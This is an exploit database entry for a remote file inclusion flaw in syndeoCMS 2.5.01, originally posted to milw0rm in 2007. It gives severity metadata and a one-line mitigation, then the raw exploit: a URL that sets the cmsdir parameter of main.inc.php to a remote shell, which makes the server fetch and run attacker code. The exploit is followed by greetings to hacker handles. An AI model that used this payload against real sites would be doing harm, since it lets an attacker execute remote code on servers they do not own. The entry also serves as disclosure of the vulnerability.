syndeoCMS 2.5.01 [cmsdir] Remote File Include

vendor:

syndeoCMS

by:

crazy coder

7.5

CVSS

HIGH

Remote File Include

CWE

Product Name: syndeoCMS

Affected Version From: syndeoCMS 2.5.01

Affected Version To:

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested:

2007

syndeoCMS 2.5.01 [cmsdir] Remote File Include

This exploit allows an attacker to include remote files in the syndeoCMS 2.5.01 CMS directory.

Mitigation:

Update to a patched version of syndeoCMS or apply appropriate security measures to prevent remote file inclusion.

Source

Exploit-DB raw data:

--------------------------------------------
=                                          =
=            Mdx  (c) 2007                 =
=        http://www.by-mdx.com             =
--------------------------------------------
=                                          =
=syndeoCMS 2.5.01 [cmsdir] Remote File Include   
=                                          =
============================================
=
= Download:
=
= http://sourceforge.net/projects/syndeocms
=
============================================
=
= Exploit:
= 
= http://site.com/[path]/starnet/themes/c-sky/main.inc.php?cmsdir=shell?
=
============================================
 Thanks my Friend :
=============================================================     
            
              crazy coder  n0th!ng

 Xoron,Deltaforce,PASHA,Nizam-Ã¼l MÃ¼lk, Prime Suspect,Kralbay
CyberEx,mith,n0th!ng,CwPeker,Cyber_cobra,CyberWar,Musty
@zr@il-,DaRKToLe,ultrAslan_CW,quantumhalil,schevko 
nirvana_jr,mertcesur,reddevil19,hocam,muhammed4554
WarriorHacker,cepuzmani_53,kalaba,Dr.X,TR4KONYA,X-X-X,daimon
-------------------------------------------------------------

# milw0rm.com [2007-11-04]